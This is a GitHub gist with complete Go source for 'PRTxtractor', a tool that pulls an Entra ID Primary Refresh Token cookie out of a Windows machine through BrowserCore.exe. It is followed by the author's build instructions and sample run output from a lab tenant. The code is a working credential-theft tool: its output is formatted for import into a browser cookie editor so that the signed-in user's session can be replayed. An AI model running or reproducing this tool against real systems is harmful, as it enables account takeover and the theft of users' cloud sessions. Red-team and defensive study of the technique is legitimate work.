Skip to content

Instantly share code, notes, and snippets.

@faisalfs10x
Created January 23, 2026 18:11
Show Gist options
  • Select an option

  • Save faisalfs10x/e917a27f319fc22955112c6044b993ad to your computer and use it in GitHub Desktop.

Select an option

Save faisalfs10x/e917a27f319fc22955112c6044b993ad to your computer and use it in GitHub Desktop.
PRTxtractor - Entra ID PRT Extractor: rework & improvement based on original ROADtoken by @_dirkjan
package main
import (
"bufio"
"bytes"
"encoding/binary"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"strings"
"time"
)
// Version information set during build
var (
Version = "1.0"
BuildTime = "unknown"
BuildUser = "unknown"
)
// Structs for parsing response
type CookieResponse struct {
Name string `json:"name"`
Data string `json:"data"`
P3PHeader string `json:"p3pHeader"`
Flags int `json:"flags"`
}
type WAMResponse struct {
Response []CookieResponse `json:"response"`
}
// Cookie format for JSON output
type CookieJSON struct {
Domain string `json:"domain"`
HostOnly bool `json:"hostOnly"`
HTTPOnly bool `json:"httpOnly"`
Name string `json:"name"`
Path string `json:"path"`
SameSite string `json:"sameSite"`
Secure bool `json:"secure"`
Session bool `json:"session"`
StoreID interface{} `json:"storeId"`
Value string `json:"value"`
ExpirationDate interface{} `json:"expirationDate"`
}
// Device info from dsregcmd
type DeviceInfo struct {
DeviceName string `json:"device_name,omitempty"`
DeviceID string `json:"device_id,omitempty"`
AzureAdJoined string `json:"azure_ad_joined,omitempty"`
EnterpriseJoined string `json:"enterprise_joined,omitempty"`
DomainJoined string `json:"domain_joined,omitempty"`
TpmProtected string `json:"tpm_protected,omitempty"`
DeviceAuthStatus string `json:"device_auth_status,omitempty"`
AzureAdPrt string `json:"azure_ad_prt,omitempty"`
AzureAdPrtUpdateTime string `json:"azure_ad_prt_update_time,omitempty"`
AzureAdPrtExpiryTime string `json:"azure_ad_prt_expiry_time,omitempty"`
EnterprisePrt string `json:"enterprise_prt,omitempty"`
OnPremTgt string `json:"onprem_tgt,omitempty"`
CloudTgt string `json:"cloud_tgt,omitempty"`
ExecutingAccountName string `json:"executing_account,omitempty"`
KeySignTest string `json:"key_sign_test,omitempty"`
WamDefaultSet string `json:"wam_default_set,omitempty"`
NgcSet string `json:"ngc_set,omitempty"`
TenantName string `json:"tenant_name,omitempty"`
TenantID string `json:"tenant_id,omitempty"`
}
// Parse dsregcmd output
func parseDSRegCmd() (*DeviceInfo, error) {
cmd := exec.Command("dsregcmd", "/status")
output, err := cmd.Output()
if err != nil {
return nil, fmt.Errorf("[-] failed to run dsregcmd: %v", err)
}
info := &DeviceInfo{}
scanner := bufio.NewScanner(bytes.NewReader(output))
currentSection := ""
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
// Skip empty lines and separators
if line == "" || strings.HasPrefix(line, "+---") {
continue
}
// Detect sections
if strings.Contains(line, "Device State") {
currentSection = "device_state"
continue
} else if strings.Contains(line, "Device Details") {
currentSection = "device_details"
continue
} else if strings.Contains(line, "Tenant Details") {
currentSection = "tenant_details"
continue
} else if strings.Contains(line, "SSO State") {
currentSection = "sso_state"
continue
} else if strings.Contains(line, "Diagnostic Data") {
currentSection = "diagnostic_data"
continue
} else if strings.Contains(line, "User State") {
currentSection = "user_state"
continue
}
// Parse based on current section
switch currentSection {
case "device_state":
if strings.HasPrefix(line, "AzureAdJoined") {
parts := splitLine(line)
if len(parts) >= 2 {
info.AzureAdJoined = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "EnterpriseJoined") {
parts := splitLine(line)
if len(parts) >= 2 {
info.EnterpriseJoined = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "DomainJoined") {
parts := splitLine(line)
if len(parts) >= 2 {
info.DomainJoined = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "Device Name") {
parts := splitLine(line)
if len(parts) >= 2 {
info.DeviceName = strings.TrimSpace(parts[1])
}
}
case "device_details":
if strings.HasPrefix(line, "DeviceId") {
parts := splitLine(line)
if len(parts) >= 2 {
info.DeviceID = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "TpmProtected") {
parts := splitLine(line)
if len(parts) >= 2 {
info.TpmProtected = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "DeviceAuthStatus") {
parts := splitLine(line)
if len(parts) >= 2 {
info.DeviceAuthStatus = strings.TrimSpace(parts[1])
}
}
case "tenant_details":
if strings.HasPrefix(line, "TenantId") {
parts := splitLine(line)
if len(parts) >= 2 {
info.TenantID = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "TenantName") {
parts := splitLine(line)
if len(parts) >= 2 {
info.TenantName = strings.TrimSpace(parts[1])
}
}
case "sso_state":
if strings.HasPrefix(line, "AzureAdPrt :") {
parts := splitLine(line)
if len(parts) >= 2 {
info.AzureAdPrt = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "AzureAdPrtUpdateTime") {
parts := splitLine(line)
if len(parts) >= 2 {
info.AzureAdPrtUpdateTime = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "AzureAdPrtExpiryTime") {
parts := splitLine(line)
if len(parts) >= 2 {
info.AzureAdPrtExpiryTime = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "EnterprisePrt :") {
parts := splitLine(line)
if len(parts) >= 2 {
info.EnterprisePrt = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "OnPremTgt :") {
parts := splitLine(line)
if len(parts) >= 2 {
info.OnPremTgt = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "CloudTgt :") {
parts := splitLine(line)
if len(parts) >= 2 {
info.CloudTgt = strings.TrimSpace(parts[1])
}
}
case "diagnostic_data":
if strings.HasPrefix(line, "Executing Account Name") {
parts := splitLine(line)
if len(parts) >= 2 {
info.ExecutingAccountName = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "KeySignTest") {
parts := splitLine(line)
if len(parts) >= 2 {
info.KeySignTest = strings.TrimSpace(parts[1])
}
}
case "user_state":
if strings.HasPrefix(line, "WamDefaultSet") {
parts := splitLine(line)
if len(parts) >= 2 {
info.WamDefaultSet = strings.TrimSpace(parts[1])
}
} else if strings.HasPrefix(line, "NgcSet") {
parts := splitLine(line)
if len(parts) >= 2 {
info.NgcSet = strings.TrimSpace(parts[1])
}
}
}
}
return info, nil
}
// Helper function to split lines with colon, handling spaces
func splitLine(line string) []string {
// Find the first colon
idx := strings.Index(line, ":")
if idx == -1 {
return []string{line}
}
// Split into key and value
key := strings.TrimSpace(line[:idx])
value := strings.TrimSpace(line[idx+1:])
return []string{key, value}
}
// Check if device is eligible for PRT extraction
func isDeviceEligible(info *DeviceInfo) (bool, string) {
if info.AzureAdJoined != "YES" {
return false, "[-] Device is not Entra ID joined"
}
if info.AzureAdPrt != "YES" {
return false, "[-] Device does not have Entra ID PRT"
}
if info.TenantID == "" {
return false, "[-] No tenant ID found"
}
return true, ""
}
// Get nonce from Entra ID
func getNonceFromEntraID(tenantID string) (string, error) {
url := fmt.Sprintf("https://login.microsoftonline.com/%s/oauth2/token", tenantID)
body := strings.NewReader("grant_type=srv_challenge")
req, err := http.NewRequest("POST", url, body)
if err != nil {
return "", fmt.Errorf("[-] failed to create request: %v", err)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Accept", "application/json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.3719.82")
client := &http.Client{Timeout: 15 * time.Second}
resp, err := client.Do(req)
if err != nil {
return "", fmt.Errorf("[-] network error: %v", err)
}
defer resp.Body.Close()
respBody, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("[-] failed to read response: %v", err)
}
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
var result map[string]interface{}
if err := json.Unmarshal(respBody, &result); err != nil {
return "", fmt.Errorf("[-] failed to parse response: %v", err)
}
nonce, ok := result["Nonce"].(string)
if !ok || nonce == "" {
return "", fmt.Errorf("[-] no nonce in response")
}
return nonce, nil
}
// Find browsercore.exe
func findBrowserCore() (string, error) {
locations := []string{
`C:\Program Files\Windows Security\BrowserCore\browsercore.exe`,
`C:\Windows\BrowserCore\browsercore.exe`,
`C:\Program Files (x86)\Windows Security\BrowserCore\browsercore.exe`,
}
for _, location := range locations {
if _, err := os.Stat(location); err == nil {
return location, nil
}
}
return "", fmt.Errorf("[-] browsercore.exe not found in standard locations")
}
// Execute WAM communication
func executeWAMWithNonce(nonce string) ([]byte, error) {
browserCorePath, err := findBrowserCore()
if err != nil {
return nil, err
}
var jsonRequest string
if nonce != "" {
jsonRequest = fmt.Sprintf(
`{"method":"GetCookies","uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=%s","sender":"https://login.microsoftonline.com"}`,
nonce,
)
} else {
jsonRequest = `{"method":"GetCookies","uri":"https://login.microsoftonline.com/common/oauth2/authorize","sender":"https://login.microsoftonline.com"}`
}
cmd := exec.Command(browserCorePath)
stdin, err := cmd.StdinPipe()
if err != nil {
return nil, fmt.Errorf("[-] failed to create stdin pipe: %v", err)
}
defer stdin.Close()
stdout, err := cmd.StdoutPipe()
if err != nil {
return nil, fmt.Errorf("[-] failed to create stdout pipe: %v", err)
}
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("[-] failed to start process: %v", err)
}
length := int32(len(jsonRequest))
if err := binary.Write(stdin, binary.LittleEndian, length); err != nil {
return nil, fmt.Errorf("[-] failed to write length: %v", err)
}
if _, err := stdin.Write([]byte(jsonRequest)); err != nil {
return nil, fmt.Errorf("[-] failed to write request: %v", err)
}
stdin.Close()
output, err := io.ReadAll(stdout)
if err != nil {
return nil, fmt.Errorf("[-] failed to read output: %v", err)
}
if err := cmd.Wait(); err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
return output, fmt.Errorf("[-] process exited with code %d", exitErr.ExitCode())
}
}
return output, nil
}
// Extract x-ms-RefreshTokenCredential cookie only
func extractRefreshTokenCookie(wamResponse []byte) (*CookieJSON, error) {
if len(wamResponse) == 0 {
return nil, fmt.Errorf("[-] no response from WAM")
}
// Clean the response
cleanResponse := strings.TrimSpace(strings.ReplaceAll(string(wamResponse), "\x00", ""))
// Try to parse as JSON
var response WAMResponse
if err := json.Unmarshal([]byte(cleanResponse), &response); err != nil {
// If not valid JSON, try to extract JSON part
startIdx := strings.Index(cleanResponse, "{")
endIdx := strings.LastIndex(cleanResponse, "}")
if startIdx != -1 && endIdx != -1 {
jsonPart := cleanResponse[startIdx : endIdx+1]
if err := json.Unmarshal([]byte(jsonPart), &response); err != nil {
return nil, fmt.Errorf("[-] failed to parse WAM response: %v", err)
}
} else {
return nil, fmt.Errorf("[-] no valid JSON found in WAM response")
}
}
// Find ONLY x-ms-RefreshTokenCredential
for _, cookie := range response.Response {
if cookie.Name == "x-ms-RefreshTokenCredential" {
cookieJSON := &CookieJSON{
Domain: "login.microsoftonline.com",
HostOnly: true,
HTTPOnly: true,
Name: cookie.Name,
Path: "/",
SameSite: "",
Secure: true,
Session: true,
StoreID: nil,
Value: cookie.Data,
ExpirationDate: nil,
}
return cookieJSON, nil
}
}
return nil, fmt.Errorf("[-] no refresh token found in response")
}
// Save JSON to file
func saveJSONToFile(filename string, data []byte) error {
return os.WriteFile(filename, data, 0644)
}
// Main execution with provided nonce
func executeWithNonce(nonce string, raw bool, outputFile string) {
// Step 4: Execute WAM with provided nonce
fmt.Println("[+] Communicating with Windows WAM...")
wamResponse, err := executeWAMWithNonce(nonce)
if err != nil {
fmt.Printf("[-] WAM communication failed: %v\n", err)
os.Exit(1)
}
if !raw {
fmt.Println("[+] WAM communication successful")
fmt.Println("\n[4] Extracting refresh token...\n")
}
// Step 5: Extract refresh token
cookie, err := extractRefreshTokenCookie(wamResponse)
if err != nil {
fmt.Printf("[-] %v\n", err)
os.Exit(1)
}
if !raw {
fmt.Println("[+] Refresh token extracted successfully")
}
// Step 6: Output JSON
cookies := []CookieJSON{*cookie}
jsonData, err := json.MarshalIndent(cookies, "", " ")
if err != nil {
jsonData, _ = json.Marshal(cookies)
}
// Save to file if requested
if outputFile != "" {
if err := saveJSONToFile(outputFile, jsonData); err != nil {
fmt.Printf("[-] Failed to save to file: %v\n", err)
os.Exit(1)
}
if !raw {
fmt.Printf("[+] JSON saved to: %s\n", outputFile)
}
}
// Output to console
if raw {
fmt.Println(string(jsonData))
} else {
fmt.Println("\n=== JSON Output (copy for cookie editor) ===")
fmt.Println(string(jsonData))
fmt.Println("\n[+] Process completed!")
}
}
func main() {
// Parse flags
versionFlag := flag.Bool("version", false, "Show version information")
rawFlag := flag.Bool("raw", false, "Only show JSON output (no verbose)")
outputFlag := flag.String("output", "", "Save JSON output to file")
nonceFlag := flag.String("nonce", "", "Use provided nonce instead of auto-discovery")
helpFlag := flag.Bool("help", false, "Show help information")
flag.Parse()
if *helpFlag {
fmt.Println("PRTxtractor - Entra ID PRT Extractor")
fmt.Println("Rework & improvement based on original ROADtoken by @_dirkjan")
fmt.Println("\nUsage: PRTxtractor [options]")
fmt.Println("\nOptions:")
flag.PrintDefaults()
fmt.Println("\nExamples:")
fmt.Println(" PRTxtractor # Auto-discover and extract PRT")
fmt.Println(" PRTxtractor -nonce <nonce> # Use provided nonce")
fmt.Println(" PRTxtractor -output token.json # Save to file")
fmt.Println(" PRTxtractor -raw # Output only JSON (for scripting)")
return
}
if *versionFlag {
fmt.Printf("PRTxtractor %s\n", Version)
fmt.Printf("Based on ROADtoken by @_dirkjan\n")
//fmt.Printf("Build time: %s\n", BuildTime)
//fmt.Printf("Build user: %s\n", BuildUser)
return
}
// Manual nonce mode
if *nonceFlag != "" {
executeWithNonce(*nonceFlag, *rawFlag, *outputFlag)
return
}
// Auto-discovery mode
if !*rawFlag {
fmt.Println("╔══════════════════════════╗")
fmt.Println("║ PRT-extractor ║")
fmt.Println("║ ║")
fmt.Println("╚══════════════════════════╝")
fmt.Println("\n[1] Checking device status...")
}
deviceInfo, err := parseDSRegCmd()
if err != nil {
fmt.Printf("[-] Failed to get device info: %v\n", err)
os.Exit(1)
}
// Display device information in original format (if not raw)
if !*rawFlag {
fmt.Println("\n=== Device Information ===")
fmt.Printf("Device Name: %s\n", deviceInfo.DeviceName)
fmt.Printf("Device ID: %s\n", deviceInfo.DeviceID)
fmt.Printf("Entra ID Joined: %s\n", deviceInfo.AzureAdJoined)
fmt.Printf("Enterprise Joined: %s\n", deviceInfo.EnterpriseJoined)
fmt.Printf("Domain Joined: %s\n", deviceInfo.DomainJoined)
fmt.Printf("TpmProtected: %s\n", deviceInfo.TpmProtected)
fmt.Printf("DeviceAuthStatus: %s\n", deviceInfo.DeviceAuthStatus)
fmt.Printf("KeySignTest: %s\n", deviceInfo.KeySignTest)
if deviceInfo.TenantName != "" {
fmt.Printf("\nTenant Name: %s\n", deviceInfo.TenantName)
}
if deviceInfo.TenantID != "" {
fmt.Printf("Tenant ID: %s\n", deviceInfo.TenantID)
}
fmt.Println("\n=== PRT Status ===")
fmt.Printf("AzureAdPrt: %s\n", deviceInfo.AzureAdPrt)
if deviceInfo.AzureAdPrtUpdateTime != "" {
fmt.Printf("Last Update: %s\n", deviceInfo.AzureAdPrtUpdateTime)
}
if deviceInfo.AzureAdPrtExpiryTime != "" {
fmt.Printf("Expires: %s\n", deviceInfo.AzureAdPrtExpiryTime)
}
fmt.Printf("EnterprisePrt: %s\n", deviceInfo.EnterprisePrt)
fmt.Printf("OnPremTgt: %s\n", deviceInfo.OnPremTgt)
fmt.Printf("CloudTgt: %s\n", deviceInfo.CloudTgt)
if deviceInfo.ExecutingAccountName != "" {
fmt.Printf("\nExecuting Account: %s\n", deviceInfo.ExecutingAccountName)
}
}
// Step 2: Check conditions
if !*rawFlag {
fmt.Println("\n[2] Checking eligibility...\n")
}
eligible, message := isDeviceEligible(deviceInfo)
if !eligible {
fmt.Printf("[-] %s\n", message)
os.Exit(1)
}
if !*rawFlag {
fmt.Println("[+] Device is eligible for PRT extraction")
}
// Step 3: Get nonce
if !*rawFlag {
fmt.Println("\n[3] Requesting SSO nonce...\n")
}
nonce, err := getNonceFromEntraID(deviceInfo.TenantID)
if err != nil {
fmt.Printf("[-] Failed to get nonce: %v\n", err)
os.Exit(1)
}
if !*rawFlag {
fmt.Printf("[+] Nonce obtained (%d characters)\n", len(nonce))
}
// Use the common execution function
executeWithNonce(nonce, *rawFlag, *outputFlag)
}
@faisalfs10x
Copy link
Author

If you're on Linux/Mac, compile for Windows
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o PRTxtractor.exe PRTxtractor.go

PS Microsoft.PowerShell.Core\FileSystem> .\PRTxtractor.exe -help
PRTxtractor - Entra ID PRT Extractor
Rework & improvement based on original ROADtoken by @_dirkjan

Usage: PRTxtractor [options]

Options:
  -help
        Show help information
  -nonce string
        Use provided nonce instead of auto-discovery
  -output string
        Save JSON output to file
  -raw
        Only show JSON output (no verbose)
  -version
        Show version information

Examples:
  PRTxtractor                    # Auto-discover and extract PRT
  PRTxtractor -nonce <nonce>      # Use provided nonce
  PRTxtractor -output token.json # Save to file
  PRTxtractor -raw               # Output only JSON (for scripting)


PS Microsoft.PowerShell.Core\FileSystem> .\PRTxtractor.exe
╔══════════════════════════╗
║      PRT-extractor       ║
║                          ║
╚══════════════════════════╝

[1] Checking device status...

=== Device Information ===
Device Name:        entraLab01
Device ID:          07f5c143-098t-4ea1-b4e4-qw23e4r5t6y7
Entra ID Joined:    YES
Enterprise Joined:  NO
Domain Joined:      NO
TpmProtected:       NO
DeviceAuthStatus:   SUCCESS
KeySignTest:        PASSED

Tenant Name:        ENTRA-LAB LOCAL
Tenant ID:          x7cndh64-897b-48ef-90a7-a5s7f64df89g

=== PRT Status ===
AzureAdPrt:         YES
Last Update:        2026-01-21 05:35:04.000 UTC
Expires:            2026-02-06 17:59:31.000 UTC
EnterprisePrt:      NO
OnPremTgt:          NO
CloudTgt:           YES

Executing Account:  AzureAD\user01entralablocal, [email protected]

[2] Checking eligibility...

[+] Device is eligible for PRT extraction

[3] Requesting SSO nonce...

[+] Nonce obtained (110 characters)
[+] Communicating with Windows WAM...
[+] WAM communication successful

[4] Extracting refresh token...

[+] Refresh token extracted successfully

=== JSON Output (copy for cookie editor) ===
[
  {
    "domain": "login.microsoftonline.com",
    "hostOnly": true,
    "httpOnly": true,
    "name": "x-ms-RefreshTokenCredential",
    "path": "/",
    "sameSite": "",
    "secure": true,
    "session": true,
    "storeId": null,
    "value": "eyJhbGciOiJIUzI1NiIsICJrZGZfdmVyIjoyLCAiY3R4<SNIP><SNIP><SNIP>7vf-1fAsZJrLh0JGEttvfWWzwk",
    "expirationDate": null
  }
]

[+] Process completed!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment